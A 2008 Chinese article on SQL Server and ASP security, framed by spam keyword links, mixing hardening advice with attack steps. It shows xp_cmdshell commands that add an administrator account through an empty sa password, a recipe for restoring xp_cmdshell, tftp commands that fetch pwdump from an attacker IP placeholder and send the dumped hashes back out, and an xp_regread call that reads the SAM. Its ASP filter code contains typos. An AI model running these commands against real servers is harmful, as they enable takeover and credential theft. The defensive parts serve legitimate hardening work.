国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關(guān)注微信公眾號(hào)

從IIS轉(zhuǎn)到SQL數(shù)據(jù)庫安全
2008-04-24   

從codered到nimda等,一大堆蠕蟲把原來需要人工利用的漏洞都變成了程序自動(dòng)利用了,大家
還想去手工操作這些IIS漏洞么?讓我們調(diào)整重心,去看看服務(wù)器常用的數(shù)據(jù)庫吧。

一般網(wǎng)站都是基于數(shù)據(jù)庫的,特別是ASP、PHP、JSP這樣的用數(shù)據(jù)庫來動(dòng)態(tài)顯示的網(wǎng)站。很多網(wǎng)
站可能多注意的是操作系統(tǒng)的漏洞,但是對數(shù)據(jù)庫和這些腳本的安全總是忽略,也沒有太多注意。

從最比較普遍的腳本問題開始,這些都是老話題了,大家可以參考Hectic寫的《關(guān)于數(shù)據(jù)庫的簡
單入侵和無賴破壞,以天融信做例子》,該文章對從SQL腳本問題說得非常詳細(xì)。對于腳本安全的解
決,也可以通過過濾來實(shí)現(xiàn),可以參考我以前寫的。對于ASP來說,可以使用下面這個(gè)過濾函數(shù):

Function Filter_SQL(strData)

Dim strFilter
Dim blnFlag
Dim i

strFilter=``,;,//,--,@,_,exec,declare` `需要過濾的字符,可以自己添加,`,`是分隔符
blnFlag=Flase `過濾標(biāo)志,如果產(chǎn)生過濾,那么就是真

Dim arrayFilter
arrayFilter=Split(strFilter,`,`)
For i=0 To UBound(arrayFilter)
If Instr(strData,arrayFilter(i))??0 Then
blnFlag=True
Exit For
End If
Next

If blnFlag Then
Response.Redirect `wrong.asp`
`當(dāng)發(fā)現(xiàn)有過濾操作時(shí),導(dǎo)向一個(gè)預(yù)定頁面。反正正常訪問用不到的連接請求,總不是好事情。
Else
Filter_SQL=strData
End If

End Function

對于MS SQL Server數(shù)據(jù)庫來說,安全問題不僅僅局限在腳本上了。“天殺的微軟”的系統(tǒng)性很強(qiáng),
整個(gè)基于WINDOWS系統(tǒng)的應(yīng)用都有很強(qiáng)的關(guān)聯(lián)性,對SQL Server來說,基本可以把數(shù)據(jù)庫管理和系統(tǒng)管理
等同起來了。SQL Server默認(rèn)的管理員帳號(hào)“sa”的密碼是空的,這給多數(shù)NT服務(wù)器產(chǎn)生一個(gè)安全漏洞。
小榕的“SQLRCMD”,就能夠利用獲得的數(shù)據(jù)庫管理員帳號(hào)執(zhí)行系統(tǒng)命令。

在SQL Server中有很多系統(tǒng)存儲(chǔ)過程,有些是數(shù)據(jù)庫內(nèi)部使用的,還有一些就是通過執(zhí)行存儲(chǔ)過程
來調(diào)用系統(tǒng)命令。

系統(tǒng)存儲(chǔ)過程:xp_cmdshell

就是以操作系統(tǒng)命令行解釋器的方式執(zhí)行給定的命令字符串。
它就具體語法是:xp_cmdshell {`command_string`} [, no_output]

xp_cmdshell在默認(rèn)情況下,只有 sysadmin 的成員才能執(zhí)行。但是,sysadmin也可以授予其他用戶
這個(gè)執(zhí)行權(quán)限。在早期版本中,獲得 xp_cmdshell 執(zhí)行權(quán)限的用戶在 SQL Server 服務(wù)的用戶帳戶中運(yùn)
行命令。可以通過配置選項(xiàng)配置 SQL Server,以便對 SQL Server 無 sa 訪問權(quán)限的用戶能夠在
SQLExecutiveCmdExec Windows NT 帳戶中運(yùn)行 xp_cmdshell。在 SQL Server 7.0 中,該帳戶稱為
SQLAgentCmdExec。現(xiàn)在對于SQL Server2000,只要有一個(gè)能執(zhí)行該存儲(chǔ)過程的帳號(hào)就可以直接運(yùn)行命令了。

對于 NT 和 WIN2000,當(dāng)用戶不是 sysadmin 組的成員時(shí),xp_cmdshell 將模擬使用
xp_sqlagent_proxy_account 指定的 SQL Server 代理程序的代理帳戶。如果代理帳戶不能用,
則 xp_cmdshell 將失敗。所以即使有一個(gè)帳戶是master數(shù)據(jù)庫的db_owner,也不能執(zhí)行這個(gè)存儲(chǔ)過程。

如果我們有一個(gè)能執(zhí)行xp_cmdshell的數(shù)據(jù)庫帳號(hào),比如是空口令的sa帳號(hào)。那么我們可以執(zhí)行這樣的
命令:

exec xp_cmdshell `net user refdom 123456 /add`
exec xp_cmdshell `net localgroup administrators refdom /add`

上面兩次調(diào)用就在系統(tǒng)的管理員組中添加了一個(gè)用戶:refdom

當(dāng)我們獲得數(shù)據(jù)庫的sa管理員帳號(hào)后,就應(yīng)該可以完全控制這個(gè)機(jī)器了。可見數(shù)據(jù)庫安全的重要性。

下面這些存儲(chǔ)過程都是對Public可以執(zhí)行的:
xp_fileexist,用來確定一個(gè)文件是否存在。
xp_getfiledetails,可以獲得文件詳細(xì)資料。
xp_dirtree,可以展開你需要了解的目錄,獲得所有目錄深度。
Xp_getnetname,可以獲得服務(wù)器名稱。

還有可以操作注冊表的存儲(chǔ)過程,這些不是對Public可以執(zhí)行的,需要系統(tǒng)管理員或者授權(quán)執(zhí)行:
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread (對Public可以執(zhí)行)
Xp_regremovemultistring
Xp_regwrite


SQL Server的安全配置

除跟著微軟打滿所有補(bǔ)丁外,還需要加強(qiáng)數(shù)據(jù)庫的安全。
首先,你需要加強(qiáng)象sa這樣的帳號(hào)的密碼,跟系統(tǒng)帳號(hào)的使用配置相似,一般操作數(shù)據(jù)庫不要使用
象sa這樣的最高權(quán)限的帳號(hào),而使用能滿足你的要求的一般帳號(hào)。

接著對擴(kuò)展存儲(chǔ)過程開始大屠殺,首先就是xp_cmdshell,還有就是上面那些一大堆存儲(chǔ)過程,都
drop吧,一般也用不著。

執(zhí)行:
use master
sp_dropextendedproc `xp_cmdshell`

去掉guest帳號(hào),阻止非授權(quán)用戶訪問。

去掉不必要的網(wǎng)絡(luò)協(xié)議。

加強(qiáng)對數(shù)據(jù)庫登陸的日志記錄,最好記錄所有登陸事件。可以用下面的簡單DOS命令來查看日志:

findstr /C:`登錄` d:Microsoft SQL ServerMSSQLLOG*.*

用管理員帳號(hào)定期檢查所有帳號(hào),是否密碼為空或者過于簡單,比如下面的語句:

Use master
Select name,Password from syslogins where password is null

用下面語句對所有帳號(hào),檢查對存儲(chǔ)過程和擴(kuò)展存儲(chǔ)過程的執(zhí)行權(quán),提防不必要的執(zhí)行權(quán)限擴(kuò)散:

Use master
Select sysobjects.name
From sysobjects, sysprotects Where sysprotects.uid = 0 AND xtype IN (`X`,`P`)
AND sysobjects.id = sysprotects.id

加強(qiáng)數(shù)據(jù)庫的安全是非常重要的,有的數(shù)據(jù)庫服務(wù)器是和WEB服務(wù)器隔離開的,這就同MAIL服務(wù)器一
樣,數(shù)據(jù)庫的日志可能就基本很少去查看,這將會(huì)成為管理員的一個(gè)疏忽點(diǎn)。類似DNS、MAIL等等,數(shù)據(jù)
庫服務(wù)器往往成為各種入侵的跳板。

下面是一些關(guān)于數(shù)據(jù)庫的問答和技巧:

1、獲得SA權(quán)限后,卻不能執(zhí)行xp_cmdshell存儲(chǔ)過程怎么辦?
答:可能是已經(jīng)把xp_cmdshell等擴(kuò)展存儲(chǔ)過程刪除了,可以用這個(gè)存儲(chǔ)過程把xp_cmdshell恢復(fù)。
sp_addextendedproc `xp_cmdshell`, `xpsql70.dll`

2、通過數(shù)據(jù)庫用pwdump獲得系統(tǒng)管理員密碼
先上傳一個(gè)pwdump
tftp -i ??ip?? GET pwdump3.exe pwdump3.exe
tftp -i ??ip?? GET lsaext.dll lsaext.dll
tftp -i ??ip?? GET pwservice.exe pwservice.exe
pwdump3 127.0.0.1 outfile.txt
tftp ??ip?? PUT outfile.txt outfile.txt
然后再用解密工具l0pht等等破解這些密碼。

3、從數(shù)據(jù)庫讀取系統(tǒng)管理員密碼。
能讀出加密的密碼是NT的`administrator`帳號(hào)也不能做的,SQL Server能讀出來是使用的
“LocalSystem”帳號(hào),這個(gè)帳號(hào)比administrator更高一級(jí)。可以使用下面這個(gè)存儲(chǔ)過程。不過讀出來的
密碼是經(jīng)過加密后的,然后再解密吧。
xp_regread `HKEY_LOCAL_MACHINE`,`SECURITYSAMDomainsAccount`,`F`



熱詞搜索:

上一篇:關(guān)于SQL SERVER的一些安全問題
下一篇:防范SQL指令植入式攻擊

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
亚洲男人的天堂网| 亚洲国产精品国自产拍av| 精品一区二区在线看| 久久免费电影网| 久久精品男人的天堂| 综合久久国产九一剧情麻豆| 午夜精品久久久久久久99水蜜桃| 裸体健美xxxx欧美裸体表演| 成人永久免费视频| 69精品人人人人| 国产精品第五页| 久久精品av麻豆的观看方式| 成人综合婷婷国产精品久久免费| 在线免费不卡电影| 久久精品人人做人人爽人人| 亚洲成人午夜电影| av网站免费线看精品| 欧美成人欧美edvon| 亚洲图片另类小说| 粉嫩一区二区三区性色av| 欧美福利视频一区| 日韩美女精品在线| 国产一区二区不卡| 日韩欧美一区二区视频| 一区二区三区在线视频观看| 国产精品一区二区无线| 日韩三级.com| 天天综合色天天| 欧美另类一区二区三区| 一区二区三区在线免费观看| av不卡免费在线观看| 国产夜色精品一区二区av| 亚洲国产精品久久不卡毛片| 99久免费精品视频在线观看| 国产欧美一区二区在线| 国产69精品久久久久777| 精品国产一区二区精华| 狠狠色综合播放一区二区| 欧美大白屁股肥臀xxxxxx| 天天亚洲美女在线视频| 欧美一级欧美三级在线观看| 亚洲成人1区2区| 欧美精品一级二级三级| 婷婷夜色潮精品综合在线| 欧美日韩免费在线视频| 日韩国产精品久久久久久亚洲| 欧洲国内综合视频| 午夜久久久久久电影| 欧美电影一区二区三区| 久久精品国产99国产| 精品国产乱码久久久久久闺蜜 | 不卡视频在线看| 亚洲天堂免费在线观看视频| 99久久国产免费看| 亚洲国产精品久久久久婷婷884| 欧美性猛交一区二区三区精品| 日本最新不卡在线| 成人午夜精品一区二区三区| 中文字幕在线观看不卡| 91豆麻精品91久久久久久| 天天色图综合网| 久久综合999| 99久久精品免费观看| 亚洲最大的成人av| 69久久99精品久久久久婷婷| 国产综合久久久久久鬼色| 中文字幕永久在线不卡| 欧美一区二区免费| 高清国产一区二区三区| 欧美无人高清视频在线观看| 激情另类小说区图片区视频区| 中文字幕av不卡| 欧美群妇大交群的观看方式| 国产老肥熟一区二区三区| 337p亚洲精品色噜噜狠狠| 国产真实精品久久二三区| 日韩理论电影院| 日韩精品在线看片z| 国产乱理伦片在线观看夜一区| 中文字幕一区二区三区蜜月| 在线观看精品一区| 亚洲主播在线观看| 日韩精品中午字幕| 91精彩视频在线观看| 激情久久五月天| 日韩三级在线免费观看| 国产成人一级电影| 欧美极品少妇xxxxⅹ高跟鞋| 蜜臀av性久久久久蜜臀aⅴ四虎| 欧美午夜免费电影| 99热99精品| 精品亚洲欧美一区| 国产精品嫩草久久久久| 精品国产一区二区国模嫣然| 欧美色手机在线观看| 99re8在线精品视频免费播放| 国内精品久久久久影院薰衣草| 一区二区三区中文字幕精品精品| 精品久久国产字幕高潮| 精品视频一区 二区 三区| 国产自产视频一区二区三区| 日韩国产欧美视频| 亚洲高清一区二区三区| 中文字幕在线不卡| 久久精品这里都是精品| 337p粉嫩大胆噜噜噜噜噜91av| 欧美日韩三级一区二区| 亚洲成人你懂的| 亚洲国产精品一区二区www| 国产精品伦一区| 国产精品久久久久久久久快鸭| 日韩欧美久久久| 欧美群妇大交群的观看方式| 欧美日韩一区二区不卡| 制服.丝袜.亚洲.中文.综合| 欧美综合一区二区三区| 在线中文字幕一区二区| 日本精品视频一区二区| 色猫猫国产区一区二在线视频| 91网站最新地址| 91在线国产福利| 日本韩国一区二区三区| 欧美色网站导航| 91麻豆精品国产91久久久使用方法 | 午夜精品久久久久久久99水蜜桃| 玉米视频成人免费看| 亚洲三级久久久| 亚洲人成亚洲人成在线观看图片| 国产精品久久久久毛片软件| 亚洲国产精品国自产拍av| 国产精品成人免费| 亚洲成人av福利| 久久国产精品区| 国产成人免费在线观看| 欧美这里有精品| 精品欧美一区二区在线观看| 欧美高清在线精品一区| 亚洲成人资源在线| 久久97超碰色| 91麻豆自制传媒国产之光| 欧美日韩视频专区在线播放| 精品88久久久久88久久久| 国产精品免费视频观看| 香蕉久久夜色精品国产使用方法| 亚洲综合偷拍欧美一区色| 亚洲高清在线精品| 久久国产精品色婷婷| 成人av电影观看| 91精品在线一区二区| 国产精品美女视频| 日本午夜精品视频在线观看| 国产精品亚洲视频| 国产成人精品在线看| 欧美亚洲国产一区二区三区| 91福利在线播放| 久久只精品国产| 五月天国产精品| 精品一区二区国语对白| 欧美性大战久久久| 欧美国产在线观看| 日韩电影在线免费| 日本电影欧美片| 国产人成亚洲第一网站在线播放 | 五月天国产精品| 96av麻豆蜜桃一区二区| 欧美一级黄色片| 亚洲少妇30p| 国产精品一区二区在线播放| 欧美午夜寂寞影院| 亚洲四区在线观看| 国产毛片精品一区| 91麻豆精品91久久久久同性| 国产精品不卡一区| 国产精品一区二区在线观看不卡| 在线成人高清不卡| 欧美亚洲动漫精品| 综合激情成人伊人| 波多野结衣欧美| 国产三级精品三级在线专区| 免费成人你懂的| 欧美日韩大陆在线| 怡红院av一区二区三区| 99久久精品一区二区| 日韩免费电影网站| 蜜臀精品一区二区三区在线观看 | 免费观看91视频大全| 欧美日韩国产天堂| 午夜影院在线观看欧美| 日韩亚洲欧美综合| 日韩中文字幕一区二区三区| 欧美视频在线观看一区二区| 亚洲一级不卡视频| 成人精品高清在线| 国产清纯白嫩初高生在线观看91| 久久99精品久久久| 亚洲精品在线电影| 91亚洲精品久久久蜜桃| 亚洲欧洲一区二区在线播放| a4yy欧美一区二区三区| 亚洲精品视频自拍|